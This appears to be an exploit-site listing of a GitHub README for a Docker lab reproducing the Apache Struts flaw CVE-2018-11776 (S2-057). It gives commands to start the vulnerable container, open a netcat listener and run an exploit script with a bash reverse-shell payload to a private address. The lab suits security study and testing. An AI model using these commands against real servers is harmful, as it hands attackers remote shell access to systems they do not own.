Sploitus

Exploit for CVE-2018-11776

githubexploit · 2018-08-25

Exploit Code

README23 lines
## https://sploitus.com/exploit?id=28F1D9BC-9130-51C0-9BB7-95B6A9940177
# CVE-2018-11776
Environment for CVE-2018-11776 / S2-057

## Demo

![demo](imgs/cve-2018-11776.gif)

## Run server

```
$ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776
```

## Exploit

```
$ nc -l 10000 (or nc -lp 10000)
```

```
$ python3 exploit.py localhost:30080 'bash -i >& /dev/tcp/192.168.33.1/10000  0>&1'
```